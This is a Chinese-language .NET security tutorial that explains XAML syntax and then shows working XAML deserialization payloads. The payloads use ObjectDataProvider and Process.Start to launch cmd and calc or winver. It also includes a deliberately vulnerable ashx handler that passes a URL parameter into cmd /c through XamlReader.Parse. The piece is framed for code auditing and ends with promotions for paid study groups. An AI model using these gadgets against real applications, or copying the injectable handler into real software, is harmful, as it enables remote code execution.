WPF是用于替代Windows Form来创建Windows客户端的应用程序,和Web项目一样遵从前端布局和后端代码实现分离的原则,Web项目前端通常是HTML,而XAML是用作WPF项目前端界面开发,XAML的全称是?Extensible Application Markup Language,基于通用XML语法用于实例化 .NET对象的标记语言。基本情况如下图
XAML 文档中的每个元素都映射为.NET类的一个实例,如根元素<Window>表示WPF创建Window对象,另外根元素还有<Application>、<Page>、<UserControl>,事实上XAML在编译时也会编成C#类,所以界面对应的.cs文件内的后台代码内要声明 partial 关键字,从而达到在编译的时候UI界面和运行逻辑代码合在一起的状态。如下最基本的XAML代码
<Window x:Class="WpfApp2.MainWindow" | |
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" | |
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" | |
Title="MainWindow" Height="350" Width="525"> | |
<Grid> | |
</Grid> | |
</Window> |
上述仅包含Window元素以及Grid元素,Window元素代表整个窗口,Grid 可以放置所有的控件。总体结构其实是一个窗体对象内嵌套一个Grid对象。x:Class 代表后端的命名空间和类名,这样的好处在于将WPF里的前端XAML和后端实现代码分开维护,xmlns全拼是:XML namespace,即XML命令空间,xmlns后面可以跟一个可选映射前缀 x,两者之间用冒号分割,另外还声明了两个 xmlns 名称空间,如下表
名称 | 说明 |
http://schemas.microsoft.com/winfx/2006/xaml/presentation | WPF核心名称空间,包含了所有WPF类,包括用来构建用户界面的控件 |
http://schemas.microsoft.com/winfx/2006/xaml | XAML名称空间,该名称空间被映射为前缀 xmlns:x,可通过前缀x来使用该名称空间,如<x:ElementName> |
上面列表的网址分别是什么意思呢?这里是XAML解析器的硬性约定,http://schemas.microsoft.com/winfx/2006/xaml/presentation 表示引入WPF核心程序集 PresentationFramework,例如常见的 System.Windows.Data 命名空间,http://schemas.microsoft.com/winfx/2006/xaml? 表示引入另外核心程序集 System.Xaml,例如常用的 Windows.Markup, 反编译后可见 如图
<Window x:Class="WpfApplication1.MainWindow" | |
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" | |
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" | |
xmlns:sys="clr-namespace:System;assembly=mscorlib" | |
Title="MainWindow" Height="300" Width="300"> | |
<ListBox> | |
<ListBoxItem> | |
<sys:String>this is demo</sys:String> | |
</ListBoxItem> | |
</ListBox> | |
</Window> |
xmlns:sys="clr-namespace:System;assembly=mscorlib" 表示将 sys 前缀 映射到.NET基类库System名称空间,后续用<sys:String>获取字符串类型,类似若想引入其他.NET程序集支持的基类,参考如下语法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName"
名称 | 说明 |
Prefix | XAML标记中用于指示名称空间的XML前缀 |
Namespace | 完全限定.NET命名空间的名称 |
AssemblyName | 声明类型的程序集 |
例如反序列化攻击载荷常用的Diagnostics.Process类所在的程序集: xmlns:c="clr-namespace:System.Diagnostics;assembly=system"?
笔者创建的项目名ObjectDataProvider有一定迷惑性,这里说明下和反序列化用到的ObjectDataProvider类毫无关联😀,下表是常见的几种 x: 空间指令含义
名称 | 说明 |
x:Class | 引用后端cs代码声明的类名 |
x:Key | 检索资源,检索的索引键名 |
x:Type | 提供CLR类型和C#中的typeof关键字类似 |
x:Static | 引用类的静态字段 |
x:Code | 支持XAML内嵌C#代码,需和 x:Class 一起使用 |
x:Class 前面已说过不再赘述,而 x:Key 表示检索资源文件中所需元素的键名,x:Type 表示CLR提供的数据类型,在XAML里可以认为是引用某个命名空间下的类,x:Static 引用后端类里定义的静态字段,x:Code 可在XAML里执行C sharp代码
<x:Code> | |
<![CDATA[ | |
private void Window_Loaded(object sender, RoutedEventArgs e) | |
{ | |
System.Diagnostics.Process.Start("calc"); | |
} | |
]]> | |
</x:Code> |
借用下图笔者把很多概念都画到了图里面,希望读者有更加直观的了解
上图中 x:Type 简单的理解就是在XAML中想使用某种数据类型时就得用它,比如从自定义的命名空间xmlns:process里调用Process类,另外 xmlns:local="clr-namespace:ObjectDataProvider" 将本地项目空间名ObjectDataProvider 映射到前缀 xmlns:local?
在第12课里已经详细的介绍过资源字典(ResourceDictionary)功能上以键值对的形式存储资源,并且可存储任意类型的对象。默认窗口设计器会创建 Window.Resources标签,笔者添加两个资源项,一个是String类型、一个是Double类型,最后以静态方式读取资源绑定到TextBlock控件
当资源太多需要集中存储时就用到 ResourceDictionary,可以单独将各个资源保存在每个文件中,用ResourceDictionary.MergeDictionaries合并到一起使用
<ResourceDictionary> | |
<ResourceDictionary.MergedDictionaries> | |
<ResourceDictionary Source="Dic1.xaml"/> | |
<ResourceDictionary Source="Dic2.xaml"/> | |
</ResourceDictionary.MergedDictionaries> | |
</ResourceDictionary> |
如果在顶层容器里没有找到Window.Resources,程序还会继续上升到Application.Resources去寻找资源,所以我们把恶意代码引入到 ?Application.Resources 也可以被调用运行。结合 XmlSerialize反序列化给出的Payload看一下XAML,是不是感觉容易多了?😉??
<![CDATA[ | |
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" | |
xmlns:b="clr-namespace:System;assembly=mscorlib" | |
xmlns:c="clr-namespace:System.Diagnostics;assembly=system"> | |
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"> | |
<ObjectDataProvider.MethodParameters> | |
<b:String>cmd</b:String> | |
<b:String>/c calc</b:String> | |
</ObjectDataProvider.MethodParameters> | |
</ObjectDataProvider> | |
</ResourceDictionary>]]> |
clr-namespace:System.Diagnostics 程序集是必须的,需要靠它调用Process类启动新进程。但还可以进一步简化,clr-namespace:System 因为不是必须的所以对应的名称空间 xmlns:b可以不用,MethodParameters也就无需再使用<b:String>元素,另外<ResourceDictionary>理论上也可以用<Window.Resources> 或者 <Application.Resources> 替代,但更建议用<Grid>控件去实现,代码如下
<Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" | |
xmlns:c="clr-namespace:System.Diagnostics;assembly=system"> | |
<Grid.Resources> | |
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"> | |
<ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters> | |
</ObjectDataProvider> | |
</Grid.Resources> | |
</Grid> |
上述介绍了XAML有关的基础知识,那么从代码审计的视角我们需要关注如下高危风险列表
方法名 | 功能 |
XamlReader.Parse | XamlReader非静态类可被实例化,Parse方法有一个字符串类型的参数 |
XamlReader.Load | XamlReader.Parse方法内部的实现,但也是公共方法可被直接调用解析Stream流创建对象 |
XamlReader.LoadAsync | Load方法的异步实现用于将流转换成对象 |
XamlServices.Parse | XamlServices静态类,其他和XamlReader.Parse一样 |
未完待续 | 待续 |
ysoserial在XmlSerializer反序列化链中使用XamlReader.Parse解析XAML字符串并返回新对象, 转到定义可见有2个方法重载,官方文档有如下注明
Reads the XAML input in the specified text string and returns an object that corresponds to the root of the specified markup.
笔者创建测试用例?string xml = File.ReadAllText("../../Dictionary2.xaml"); XamlReader.Parse(xml);? 读取的Dictionary2.xaml 如下,? ObjectType="{x:Type TypeName=local:Process } 可省略TypeName,另外资源检索键名ResourceKey也可以省略,Source={StaticResource ResourceKey=obj}?
<Window | |
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" | |
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" | |
xmlns:d="http://schemas.microsoft.com/expression/blend/2008" | |
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" | |
mc:Ignorable="d" | |
xmlns:local ="clr-namespace:System.Diagnostics;assembly=System" | |
Title="MainWindow" Height="450" Width="800"> | |
<Window.Resources> | |
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start"> | |
<ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters> | |
</ObjectDataProvider> | |
</Window.Resources> | |
<Grid DataContext="{Binding Source={StaticResource obj}}"> | |
<Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/> | |
</Grid> | |
</Window> |
查看源码可清晰得知 Parse方法内部由XamlReader.Load载入Stream流实现的,那自然Load方法也是需要关注的风险入口点
public static object Parse(string xamlText) => XamlReader.Load(XmlReader.Create((TextReader) new StringReader(xamlText))); | |
public static object Parse(string xamlText, ParserContext parserContext) => XamlReader.Load((Stream) new MemoryStream(Encoding.Default.GetBytes(xamlText)), parserContext); |
跟进WpfXamlLoader类,发现是一个内部实现的类,不能直接在外部所用,只能通过XamlReader.Loader方法去实现调用
XamlReader类提供了3种Load重载,另外还提供了LoadAsync异步方法,用于在大文件数据传输不影响程序主线程,可直接载入流转换为对象
string xml = File.ReadAllText("../../Dictionary2.xaml"); | |
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml)); | |
XamlReader.Load(ms); | |
//Test:LoadAsync | |
MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml)); | |
XamlReader xamlReader = new XamlReader(); | |
xamlReader.LoadAsync(ms0); |
程序内部采用Base64编码和解码的解析方式运行,这样的好处在于对URL特殊字符串的处置,启动Process类调用cmd.exe/c winver.exe 执行命令,核心代码如下
public static void CodeInject(string input) | |
{ | |
string ExecCode = EncodeBase64("utf-8", input); | |
StringBuilder strXMAL = new StringBuilder("<ResourceDictionary "); | |
strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" "); | |
strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" "); | |
strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" "); | |
strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">"); | |
strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">"); | |
strXMAL.Append("<ObjectDataProvider.MethodParameters>"); | |
strXMAL.Append("<b:String>cmd</b:String>"); | |
strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>"); | |
strXMAL.Append("</ObjectDataProvider.MethodParameters>"); | |
strXMAL.Append("</ObjectDataProvider>"); | |
strXMAL.Append("</ResourceDictionary>"); | |
XamlReader.Parse(strXMAL.ToString()); | |
} |
笔者创建的是ashx扩展名的文件,访问 http://localhost:52188/XamlReaderofParseSpy.ashx?input=winver
?欢迎大伙持续关注,交流。
为了帮助研发大佬们熟悉和掌握.NET应用安全相关的漏洞介绍和修复解决方案,我们创建了一个.NET应用安全建设的星球,专门科普.NET领域相关的安全漏洞和提供漏洞修复方法,星球部分主题如下图所示。
感兴趣的研发大佬们可以加入我们一起学习交流。星球原价¥99,价格随着内容沉淀和成员数量增加还会适当提高,因此越早加入越好。我们为大家准备了星球门票代金券,大家可以自行领取,可立减20元。期待更多伙伴的加入!
另外如果对.NET安全攻防技术研究和渗透感兴趣的朋友们,可以扫下面的dot.Net安全矩阵星球二维码,加入我们。